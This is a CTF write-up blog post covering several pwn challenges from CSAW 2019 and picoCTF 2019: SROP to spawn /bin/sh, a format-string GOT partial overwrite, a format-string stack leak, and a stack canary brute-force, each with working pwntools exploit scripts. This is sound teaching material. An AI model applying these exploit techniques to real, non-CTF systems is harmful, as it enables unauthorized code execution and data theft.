Pwn Day 2
Chall 1: CSAW CTF Qualification 2019 (Small Boi)
— — — — — — — — — — — — — — — — — — — — — — — — — — —
File: here
Tutorial:
* https://amriunix.com/post/sigreturn-oriented-programming-srop/
* https://filippo.io/linux-syscall-table/
We have a binary file and a service but interestingly the binary is quite small and has only three functions and the string ‘/bin/sh’ is already present in the .rodata section.
NX is enabled so no shellcode injection.Let’s examine the functions one by one:
public start
start proc near
; __unwind {
push rbp
mov rbp, rsp
mov eax, 0
call sub_40018C
xor rax, rdi
mov rax, 3Ch ; '<' <---- rax = 0x3C
syscall ; LINUX - sys_exit
nop
pop rbp
retn
; } // starts at 4001AD
start endp
We have a call to sub_40018C which does a read syscall and reads 0x200 bytes of input from the stack buffer but we have buffer overflow vulnerability since size of buffer is less than 0x200
sub_40018C proc near
buf= byte ptr -20h
; __unwind {
push rbp
mov rbp, rsp
lea rax, [rbp+buf]
mov rsi, rax ; buf
xor rax, rax
xor rdi, rdi ; fd
mov rdx, 200h ; count
syscall ; LINUX - sys_read
mov eax, 0
pop rbp
retn
; } // starts at 40018C
sub_40018C endp
We also have a sub_40017C which has a rt_sigreturn
syscall which indicates that we might have to do a SROP (SigReturn Oriented Programming).
sub_40017C proc near
; __unwind {
push rbp
mov rbp, rsp
mov eax, 0Fh <---- rax = 0xF
syscall ; LINUX - sys_rt_sigreturn
nop
pop rbp
retn
; } // starts at 40017C
sub_40017C endp
Exploit Idea:
First we will overflow the buffer and we will jump to the rt_sigreturn syscall then we will try to put a fake sigcontext structure on the stack and make the rt_sigreturn syscall to use our forged structure make any syscall we want.Let’s do this step by step…
Important gadgets found using ropper
------------------------------------
0x400185: syscall
0x400180: mov eax, 0xf; syscall; ---> sig_return syscall
Now for the SROP attack, we will make a syscall to execve("/bin/sh", NULL, NULL)
. Luckily for us, the string /bin/sh
is in the binary at 0x4001ca
so let’s build a mental picture of our stack frame for the attack:
New frame context
------------------
>> rax = 59 --> execve syscall
>> rdi --> address of bin/sh string
>> rsi = NULL
>> rdx = NULL
>> rip --> syscall gadget
So we have constructed a call to execve("/bin/sh", NULL, NULL)
Exploit code:
#!/usr/bin/env python2from pwn import *p = process('./small_boi')
context.arch = "amd64"bin_sh = 0x4001ca
sigreturn = 0x400180
syscall = 0x400185frame = SigreturnFrame(kernel='amd64')
frame.rax = 59
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscallpayload = 'A'*40
payload += p64(sigreturn)payload += str(frame)p.send(payload)p.interactive()
Finally we have shell !!
Chall 2: CSAW CTF Qualification 2019 (got milk?)
— — — — — — — — — — — — — — — — — — — — — — — — — — — —
File: here
So we are given a binary and a libc.so file.
Initially when I tried to run the binary I got an error saying that it could not find the same after resolving that I discovered a format string bug.
So we find that format string offset is 7 and we can do arbitrary write using %n. Let’s look at the decompiled source code now:
int main(int argc,char **argv){
char local_74 [100];
int *local_10;
local_10 = &argc;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
puts("Simulating loss...");
lose();
printf("Hey you! GOT milk? ");
fgets(local_74,100,stdin);
printf("Your answer: ");
printf(local_74);
lose();
return 0;
}
Okay the lose() function seems interesting on opening up in Ghidra I found it is an external function call so it must be defined in libmylib.so upon inspection we find things of our interest:
We have two functions lose and win. The win function prints the flag file. So we need to overwrite the GOT (Global Offset Table) entry of lose function in which the adress in libc of that function with the adress of win function in libc to make the program jumps to win instead of lose in the second call to lose of main function.
void win(void){
FILE *__stream;
int __c;
int c;
FILE *file;
__stream = fopen("flag.txt","r");
if (__stream != (FILE *)0x0) {
while (__c = getc(__stream), __c != -1) {
putchar(__c);
}
fclose(__stream);
}
return;
}void lose(void){
puts("\nNo flag for you!");
return;
}
Notice that the offset of the win and the lose function in the library differs by the least significant byte so we need to partially overwrite the GOT entry (from f8
to 89
)
So we will be using %hhn
that is half of half of one word => one byte for write.
Exploit Idea:
(lose@got address) + %(0x89-0x4)$7hhn
# 0x89 --> to be written
# sizeof(lose@got address) --> 4 bytes taken into account by %hhn
# 0x89 - 0x4 = 133
Exploit code:
from pwn import *elf = ELF('./gotmilk')
p = process('./gotmilk')lose_got = elf.got['lose']log.info('lose@got: ' + hex(lose_got))payload = p32(lose_got)
payload += '%133c%7$hhn'p.sendlineafter('? ', payload)p.interactive()
And we finally have our flag !!
Chall 3: Pico CTF 2019 (Stringzz)
— — — — — — — — — — — — — — — — — —
We are given a binary as well as its source code.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FLAG_BUFFER 128
#define LINE_BUFFER_SIZE 2000
void printMessage3(char *in)
{
puts("will be printed:\n");
printf(in); -----> format string bug
}
void printMessage2(char *in)
{
puts("your input ");
printMessage3(in);
}
void printMessage1(char *in)
{
puts("Now ");
printMessage2(in);
}
int main (int argc, char **argv)
{
puts("input whatever string you want; then it will be printed back:\n");
int read;
unsigned int len;
char *input = NULL;
getline(&input, &len, stdin);
//There is no win function, but the flag is wandering in the memory!
char * buf = malloc(sizeof(char)*FLAG_BUFFER);
FILE *f = fopen("flag.txt","r");
fgets(buf,FLAG_BUFFER,f);
printMessage1(input);
fflush(stdout);
}
So accroding to the source code the flag is somewhere in memory and we can just print it using format strings. So let’s brute force the format string offset and print out everything on the stack which should include the flag too 😉
Exploit code:
from pwn import *
path ="/problems/stringzz_6_5f0e31bfd7b9a7c6a32d22b6d57e9010/vuln"
for i in range(100):
try:
sh =process(path)
sh.sendline('%{}$s'.format(i))
print(sh.recv())
sh.close()
except EOFError:
pass
Flag: picoCTF{str1nG_CH3353_0814bc7c}
Chall 4: CSAW CTF Finals 2019 (defile)
— — — — — — — — — — — — — — — — — — — — — —
So we have a binary and a libc.so file let’s first check the protection set on the binary.
Next lets see what the binary does…
Seems like we can read and write let’s check the source code to get more insight.
undefined8 main(void){
uint uVar1;
void *__buf;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,2,0);
puts("Here\'s stdout:");
printf("%p\n",stdout);
puts("How much do you want to write?");
uVar1 = get_number();
if (0x100 < uVar1) {
puts("That\'s just too much");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("Where do you want to write?");
__buf = (void *)get_number();
puts("What do you want to write?");
read(0,__buf,(ulong)uVar1);
puts("Bye!");
return 0;
}
So we get the libc address of stdout and the binary asks for How much do you want to write?
, Where do you want to write?
and What do you want to write?
, then print Bye!
.
We have a get_number function which simply takes in a string and converts it into an unsigned long integer and returns it. The main however checks whether it is less than 256 or not and then proceeds with the rest of the main body.
And finally it writes user input into the address we provide to it :) Looks pretty simple but the protections does complicate matters a bit.
Since the binary is compiled with full RELRO
and PIE
enabled we can't overwrite anything in the binary like GOT etc so we will have to overwrite GOT entry of some libc function since libc file is not compiled with full RELRO let’s see how.
After the call to read we see that puts is being called so let’s set a breakpoint at puts and look for libc function calls whose GOT entry we can overwrite.
To be continued …
Chall 5: Pico CTF 2019 (Canary)
— — — — — — — — — — — — — — — — — —
File: here
So we have a chall file and a the source code to the same
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUF_SIZE 32
#define FLAG_LEN 64
#define KEY_LEN 4
void display_flag() {
char buf[FLAG_LEN];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("'flag.txt' missing in the current directory!\n");
exit(0);
}
fgets(buf,FLAG_LEN,f);
puts(buf);
fflush(stdout);
}
char key[KEY_LEN];
void read_canary() {
FILE *f = fopen("/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/canary.txt","r");
if (f == NULL) {
printf("[ERROR]: Trying to Read Canary\n");
exit(0);
}
fread(key,sizeof(char),KEY_LEN,f);
fclose(f);
}
void vuln(){
char canary[KEY_LEN];
char buf[BUF_SIZE];
char user_len[BUF_SIZE];
int count;
int x = 0;
memcpy(canary,key,KEY_LEN); ---> 4 byte sized canary
printf("Please enter the length of the entry:\n> ");
while (x<BUF_SIZE) {
read(0,user_len+x,1);
if (user_len[x]=='\n') break;
x++;
}
sscanf(user_len,"%d",&count);
printf("Input> ");
read(0,buf,count); <----- Buffer Overflow Vulnerability
if (memcmp(canary,key,KEY_LEN)) {
printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
exit(-1);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
int i;
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
The description says:
This time we added a canary to detect buffer overflows. Can you still find a way to retreive the flag from this program?
In addition to buffer overflow we have a canary of size 4 bytes at the end of the stack but it is static and not random which makes it susceptible to bruteforce.
Exploit idea:
We will bruteforce the canary one byte at a time we will write every possible value in each position of the canary until the program doesn’t exit. If it doesn’t exit, that means the byte that was written was the same byte that was already there, so that byte of the canary has been solved. The canary is 4 bytes in total, meaning only a maximum of 256⁴ checks are required to brute-force it.And finally we will redirect execution to read_flag function. Since PIE is enabled we will have to continue looping until we get correct address
Exploit code:
from pwn import *def find_canary():
canary = ""
for n in range(0, 4):
for i in range(0, 256):
p = process(e.path)
check = 'F'*32 + canary + chr(i)
p.readuntil('> ')
p.sendline(str(33 + n))
p.readuntil('Input> ')
p.sendline(check)
out = p.recvall()if "Ok..." in out:
canary += chr(i)
breakprint("Canary Found: " + canary.encode('hex'))
return canarydef solve(canary):
flag_text = ""
#loop until the PIE address lines up enough to print the flag
while ("pico" not in flag_text):
payload = 'F'*32 + canary + 'A'*16 + p32(0x565557ed)
p = process(e.path)
p.readuntil('> ')
p.sendline(str(len(payload)))
p.readuntil('Input> ')
p.send(payload)
p.recvuntil("Ok... Now Where's the Flag?\n")
try:
flag_text=p.recvuntil("\n")
except:
p.close()
print("Flag: " + flag_text)context.log_level = logging.ERROR
e = ELF("./vuln")canary = find_canary()
solve(canary)
Finally flag sweet flag!!
Thanks for reading upto the end XD
‣‣‣You just read Frost Bite. Hope you enjoyed it…